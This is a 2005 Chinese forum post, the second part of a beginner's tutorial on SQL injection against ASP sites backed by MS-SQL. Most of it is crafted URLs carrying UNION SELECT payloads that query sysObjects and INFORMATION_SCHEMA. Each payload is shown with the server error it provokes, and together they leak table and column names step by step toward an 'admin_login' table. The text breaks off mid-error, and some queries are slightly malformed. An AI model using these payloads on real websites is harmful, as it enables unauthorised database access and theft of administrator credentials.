发新帖  新投票  回帖  关闭侧栏
441779个阅读者,0条回复 | 打印 | 订阅 | 收藏
隐身或者不在线

发表时间:2005-7-13 20:10

菜鸟SQL注入详解2



glf5g 发表在 网络纵横 华声论坛 http://bbs.voc.com.cn/forum-34-1.html


得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 56
这里要注意了,都到哪儿了?到下一个表了。
现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等
title
利用系统表:
下面,我们要确定表名来加入数据。
系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。
要从SysObjects table 有天地拿到表名,一般使用下面语句:
SELECT name FROM sysObjects WHERE xtype=U U是指明定议USER的表。
黑客们已经知道了表里的列,
现在他们能在下面加一些数字。甚至如下面的:
在地址栏里打入:
http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT% ;
201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U--
记住,上面的,1-6数据中,6是我们想要的。不过有时候会出现数据类型错误,
http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT ;TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
MS SQL服务将试图去转换一个string (nvarchar)到integer。那么就会出错:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
table1 to a column of data type int.
/index.asp, line 5
这个错误信息很“友好”地告诉我们string (nvarchar)值不能被转换成integer。
这样,我们就获得了数据表的第一个表名!这个表名就是tabel1。

要获得第二个表名,我们继续,用以下查询:
http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;SELECT TOP 1 TABLE_NAME
FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--
也可以用关键字查找数据:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25ADMIN%25--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
admin_login to a column of data type int.
/index.asp, line 5
寻找与之匹配的值,%25ADMIN%25在SQL服务器上将被认作 %ADMIN%。这样,我们就能获得符合标
准的表名为"admin_login"的表了。
那么,如何获得表里所有的列表?
我们能利用另一个有用的东东,INFORMATION_SCHEMA.COLUMNS 出场!!!
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
u_id to a column of data type int.
/index.asp, line 6
看,我们有了第一个字段的名,我们用NOT IN () 来获得下一个字段名:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
NOT IN
(u_id)--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

发新帖 新投票
 回帖
查看积分策略说明快速回复主题
你的用户名: 密码:   免费注册(只要30秒)


使用个人签名

(请您文明上网理性发言!并遵守相关规定
   



Processed in 0.026349 s, 8 q - 无图精简版,sitemap,